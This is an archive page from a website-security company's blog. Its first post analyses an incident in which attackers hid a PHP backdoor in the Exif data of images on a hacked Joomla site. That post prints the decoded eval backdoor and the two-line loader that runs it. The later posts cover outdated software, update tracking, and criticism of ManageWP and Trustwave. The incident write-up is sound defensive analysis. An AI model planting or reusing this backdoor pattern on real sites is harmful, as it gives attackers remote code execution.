Category Archives: White Fir

Hackers Hiding Malicious Code in Exif Data of Images

We don’t write much on what hackers do with websites once they hacked them since the focus of security companies should be on making sure that website don’t get hacked in the first place, which wouldn’t be hard to do if the companies were interested in that, but sometimes hackers are doing something worth discussing.

Hackers use various methods to try to hide the malicious code they add to websites. Oftentimes they obfuscate the code in some way, though this often makes it easier to spot the malicious code since very little legitimate code on a website would be similarly obfuscated. While cleaning a website recently we dealt malicious code that was one hand better hidden to some detection methods, but on the other hand caused the fact the website was hacked to be identified when it hadn’t been otherwise identified for some time. The website in question had been repeatedley hacked through the exploitation of a vulnerability in an outdated version of the Joomla extensions JCE. Once one of the hackers had gained access to the website they placed malicious code into the Exif data, which stores information on the camera that took the photo, of existing images on the website. The hacker replaced the existing data on the camera maker and model with malicious code:

Malicious Code in Exif Data

When deobfuscated the full code in the model tag reads:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

That code would evaluate (run) the data sent with POST variable zz1.

On its own the image file is harmless since the web server will not run the code stored in the Exif data, so a second file is used in conjunction with the image file. In this case the file consisted of two lines of code:

<?php
$exif = exif_read_data(‘/[redacted]/templates/ja_purity/images/header/header4.jpg’);
preg_replace($exif['Make'],$exif['Model'],”);
?>

The first line reads the Exif data and the second executes the code stored in the image. The code looks rather harmless by itself, so it could easily be missed when checking for malicious code.

If a malicious code scanner doesn’t check the Exif data of image files then the malicious code could unnoticed in that as well. In this case the malicious code was detected not by something scanning the server, but by desktop antivirus software checking as the website was being visited by normal users. When we were first contacted about the website we were somewhat confused about why it would be setting anti-virus software because we were not being served any malware by the website and the only outward impact of the hack was some hidden spam links, which usually don’t set off anti-virus software. Once we got in to clean it up we found the malicious code in some image file’s Exif data and were able to figure out what was going on.

Running an image file with the modifications made by the hacker to the Exif data through VirusTotal shows that 21 of the 53 virus scanners they check currently identify the malicious code (shown below). Of those, 13 include PHP in their label which makes identifying what is going easier than other likes Symantec, which simply lists it as a “Trojan Horse”.

AVG: PHP/Small.A
Ad-Aware: Trojan.PHP.Agent.GA
AntiVir: PHP/Agent.xadx
Avast: JPG:PHPAgent-A [Trj]
BitDefender: Trojan.PHP.Agent.GA
CAT-QuickHeal: JPEG.Trojan.Agent.GA
Emsisoft: Trojan.PHP.Agent.GA (B)
F-Secure: Trojan.PHP.Agent.GA
GData: Trojan.PHP.Agent.GA
Ikarus: Backdoor.PHP.Agent
Kaspersky: Trojan.PHP.Agent.dn
McAfee: Generic BackDoor.agb
McAfee-GW-Edition: Generic BackDoor.agb
MicroWorld-eScan: Trojan.PHP.Agent.GA
Microsoft: Backdoor:PHP/Small.J
NANO-Antivirus: Trojan.Jpg.Agent.cgxikf
Norman: Backdoor.CDG
Symantec: Trojan Horse
TrendMicro: BKDR_ZZPEG.SM
TrendMicro-HouseCall: BKDR_ZZPEG.SM
nProtect :Trojan.PHP.Agent.GA

Outdated Software Is Not Necessarily the Cause Of Your Website Being Hacked

On this blog we focus a lot on the large problem of software on websites not being kept up to date. But the importance of keeping software up to date is misunderstood or misused, leading to more security problems. What we often see with web hosts, and to a lesser degree security companies, is that they tell people that their hacked website must have been hacked due to outdated software. There are a couple of major problems with this. First, websites are often are hacked due to reasons other than outdated software. It could be caused by malware on the computer of someone involved in the website, poor security at the web host, a vulnerability that even exist in the latest version of software, or a variety of other issues. The second major problem is that if you assume that the website was hacked due to outdated software and it wasn’t then the vulnerability doesn’t get fixed and the website could get hacked again (which based on the people that come to us to re-clean hacked websites, happens often). Below we dive into more detail of several of the important points on understanding what role outdated software plays in hacks.

Most Vulnerabilities Are Not Likely to Lead to Your Website Being Hacked

If you look at popular software like Drupal, Joomla, and WordPress they release security updates on a fairly regular basis. While you should be applying those security updates, it is important when dealing with a hacked website to understand that most security vulnerabilities fixed in software are not likely to lead to your website being hacked. For the average website, hackers will only try to hack it using very basic hacks that don’t rely on human interaction, so vulnerabilities that would require targeting your website are unlikely to be used. There are other vulnerabilities that would need to be combined with another vulnerability to be successfully exploited and yet other security vulnerabilities that couldn’t be used to hack your website, for example an old WordPress vulnerability allowed users to view other user’s trashed posts.

When it comes to Drupal, Joomla, and WordPress, only with Joomla have we seen a new vulnerability in the software successfully be exploited in the past few years. So with Drupal and WordPress if somebody is telling you an outdated version caused the hack chances are they are wrong. The vulnerabilities in Joomla could impact websites running 1.6.x, 1.7.x, and 2.50-2.5.2 if user registration is enabled or versions 1.5.x, 1.6.x, 1.7.x, 2.5.0-2.5.13, 3.0.x, and 3.1.0-3.1.3 if untrusted users are allowed to upload files.

When hiring someone to deal with a hacked website, finding someone with expertise with the software you use can be important for understanding what impact the security vulnerabilities in an outdated version of it potentially have and if they could have lead to the website being hacked.

You Need to Determine How the Website Was Hacked

Our experience is that many companies provide hack cleanup services don’t actually do the important task of determining how the website got hacked. While you might get lucky and the vulnerability is fixed without determining what it was first or the hacker doesn’t come back, you shouldn’t bet on that. We often have people comes that had previously had someone else clean up the website and then in short order it gets hacked again. Our first question in those situation is if the source of the originally hacked was determined and we have someone answer that it was, the usual response is that determining the source of the hack was never even brought up.

When it comes to saying that your website must have been hacked due to outdated software, what we have seen is this often not based on any evidence. In fact, in some cases we have seen web hosts blaming outdated software despite the software being up to date at the time of the hack. If somebody tells you that it is the cause they should be able to tell you what the vulnerability is and provide evidence that supports the claim. If the logs of access to the website are available they should be able to show you the relevant log entries showing when the hack was exploited. Unfortunately, in too many cases web hosts do not have good log retention policies so the logs are gone once the hack is discovered, but someone who knows what they are doing should be able to explain why the evidence still available matches exploitation of the vulnerability.

Before you hire someone to clean up a hacked website make sure that determining the source of the hack is part of their service, if it isn’t they are not doing things properly.

You Can Be Up to Date Without Running the Latest Version of Software

We often see people confusing the need to keep software up to date with the need to be running the latest version of the software. While they are the same in some cases when the developers only support one version of the software at a time, in other cases you only need to be running an up to date version of one of the supported versions to be secure. For example, Drupal currently supports versions 6 & 7, so at the moment you should be running 6.31 or 7.28. While newer versions may include security improvements over an older version, the older version should still be secure against hacking as long as it is receiving security updates. Using Drupal as an example, Drupal 7 introduced better password hashing, which improves security but would only have impact on it in a situation where someone has gained access to the database, which they shouldn’t if things are secure.

For those in charge of managing numerous websites you can use our Up to Date? Chrome app to keep track of the update status of websites running Drupal, Joomla, WordPress, and other software all in one place.

ManageWP Shows Lack of Concern for Security by Running Insecure Version of WordPress

When it comes to the security of websites, what we see over and over is that the basics are not even being handled by people that shouldn’t have a problem doing it. If you are running a WordPress website then part of Security 101 is keeping WordPress up to date, as it prevents your website from being hacked due to a known vulnerability in an older version of WordPress. Unfortunately, that isn’t being done in many cases as can been seen in the fact that only 40 percent of WordPress websites were running the latest series of WordPress in the data set we looked at in March.

You would think that providing better management tools would help this situation, though the example of one of the providers of such a tool would say otherwise. ManageWP describes its services as providing you the ability to “Manage all your WordPress sites from one place – including updates, backups, security and more.” You would certainly expect they would be keeping the WordPress installation powering their website up to date, but they’re not:

ManageWP is Running WordPress 3.5.2WordPress 3.5.2 is over ten months out of date and there have two subsequent releases with security updates (3.6.1 and 3.8.2).

ManageWP’s failure to take handle a basic security task is sharp contrast to their claims of security. For example, they claim

Securing ManageWP and the sites we interact with has always been our highest priority. We use state-of-the-art encryption and security standards that go above and beyond what WordPress, itself, offers, to ensure that your sites are protected.

On another page they make a series of claims about their security:

How ManageWP Is Secure

  • We have a full-time security specialist
  • We regularly perform penetration testing
  • No credit card information stored
  • No WordPress passwords stored
  • OpenSSL encryption
  • ManageWP is built on top of WordPress
  • Account password encryption
  • White hat reward program

If you are security specialist who fails to make sure such a basic security measure is taken then you probably should find another profession.

Another bad sign for their concern for security is their integration of Sucuri.net’s deeply flawed malware scanning into their service.

 

 

Keeping Track of the Update Status of Web Apps on the Websites You Manage

If you follow our blog you know that many websites are not getting the software running on them updated in a timely manner, which is a basic security measures. Just yesterday we looked at the fact that two months after a security update was released for Drupal 7 only 29 percent of the websites running it had been updated. To try to improve the situation we have now put together a Chrome App, Up to Date?, to help those who manage websites keep track of the update status of web apps on those websites. With the app you don’t have to keep track of when new versions of the software are released or log in to the individual websites to see if an update is available as the app lists the versions in use and if it is an outdated version for all the websites in one place.

The app currently can check the versions of the following web apps:

  • concrete5
  • Drupal
  • Joomla
  • Magento (Community Edition only)
  • MediaWiki
  • Moodle
  • PrestaShop
  • Revive Adserver (formerly OpenX)
  • SPIP
  • TYPO3
  • WordPress
  • Zen Cart

(If you are interested in additional web app being checked please let us know in the comments section or through our contact form.)

To show what the app does let’s see if the MediaWiki versions running on some of the websites of the other web apps we check for are being kept up to date:

MediaWiki Versions: http://codex.wordpress.org - 1.15.5 (Outdated), http://docs.joomla.org - 1.21.5 (Outdated), http://docs.moodle.org/27/en/ - 1.21.9 (Outdated), http://www.zen-cart.com/wiki/ - 1.18.1 (Outdated), http://wiki.typo3.org/ - 1.23.0

Of the five, only TYPO3 has kept their MediaWiki installation up to date. Joomla and Moodle are running versions from earlier this year, which is not that bad compared to the other two. Zen Cart is running a MediaWiki versions, 1.18.x, for which support ended in 2012. WordPress has the dubious distinction of still running a version of MediaWiki, 1.15.x, for which support ended back in 2010. That software developers who remind you that you need to keep their software up to date are not following that advice with other software highlights the need for improvement.

Why a Chrome App?

When we started looking at putting this together one of the first questions was what type of application we would make. Making it web-based is an obvious option, but we went with a Chrome app for several important reasons.

One of the big reasons for this was that with a Chrome app we could leverage the version checking code we already created and keep up to date for our various version check extensions. With those you can see if websites are running the software and check if the websites are up to date as your browse in Chrome. There are currently versions available for Drupal, Joomla, Magento, MediaWiki, PrestaShop, Revive Adserver, WordPress, and Zen Cart. While working on the app lead we made some improvements to the version checking code that has been incorporated in to the extensions. Using a Chrome app also allowed us to create something that works across Linux, Mac OS, and Windows.

The other big reason is that these web apps are also used on internal websites, which wouldn’t be accessible if the version checking was done from a web-based app. While updating software running on an intranet doesn’t have the same necessity as something connected to the Internet, numerous breaches of major organizations internal systems is reminder that just because something isn’t directly accessible from the Internet it doesn’t mean that security can be ignored.

Drupal Websites Not Receiving Security Updates in a Timely Manner

At the end of March we took a look at Drupal’s usage statistics and found that two months after new versions of Drupal 6 & 7, which included security updates, were released only 33 percent of Drupal 7 websites were running the latest version and only 19 percent of Drupal 6 websites were running the latest version. That obviously isn’t what you would like to see if you care about security.

It has now been two months since another set of security updates, 6.31 and 7.27, have been released. The percentage of websites that have updated to at least those versions isn’t much different from what we saw with the last set of updates. 29 percent of Drupal 7 websites are running at least 7.27 and 17 percent of Drupal 6 websites are running 6.31.

For those interested we have graphed the percentage of websites that have been upgraded over time:

Drupal 7 Update Pace Graph

drupal-6-update-pace-graph

For both Drupal 6 & 7 the graphs show that during the first two weeks after a new version is released there is pretty quick uptake and then it slows down.

With drupal.org still running 7.27 a month after 7.28 was released that might indicate that the upgrade process could be improved:

drupal.org is Running Drupal 7.27

 

With our Up to Date? Chrome app you can keep track of the Drupal versions (as well other web apps) on all of the websites you manage in one place, so you can easily check if they are in need of an upgrade.

 

Trustwave is Untrustworthy

When it comes to IT security companies, what we see over and over is that they have little to no concern for security (and also often have little to no understanding of proper security practices). So it isn’t surprising that despite billions being spent on IT security, IT security continues to be in such poor shape. This leads to situation like the massive breach of Target’s systems last year. While that was big news, what didn’t get much attention was the company who declared Target compliant with standards for handling credit card transactions shortly before the breach, Trustwave. Trustwave has a history of declaring companies compliant shortly before they suffer major breaches and for being lax in their assessments.

We recently spotted another example of their highly questionable practices of Trustwave. We were contacted about doing a migration of a Joomla-based website still running version 1.5, for which support ended in September 2012. While taking a look at the website, we noticed a seal for Trustwave Trusted Commerce:

Trustwave Trusted Commerce Logo

Considering that the website is running software that is no longer supported and therefore cannot be considered secure, we were curious to see if Trustwave was claiming it was secure. It would be quite easy for them to find that the website is running Joomla 1.5 if they wanted to as the source code of every page on the website the following line is included:

<meta name=”generator” content=”Joomla! 1.5 – Open Source Content Management” />

If you click on the seal you get this page:

Trustwave Trusted Commerce Statement

At the top of the page Trustwave proclaims that “Your credit card and identity information are secure.”, which they shouldn’t be saying for a website that is running unsupported software.

As we looked closer we noticed the small text disclaimer at the bottom of the page were they say “Trustwave Holdings, Inc. makes no representation or warranty as to whether [redacted] systems are secure from either an internal or external attack or whether cardholder data is at risk of being compromised.”. So they are basically telling you that despite saying “your credit card and identity information are secure”, there not actually saying that at all.

It is highly inappropriate for them to mislead the public like they are doing with this seal, but unfortunately our experience is that this kind of thing is considered acceptable in the security industry.

Copyright © 2014. Powered by WordPress & Romangie Theme.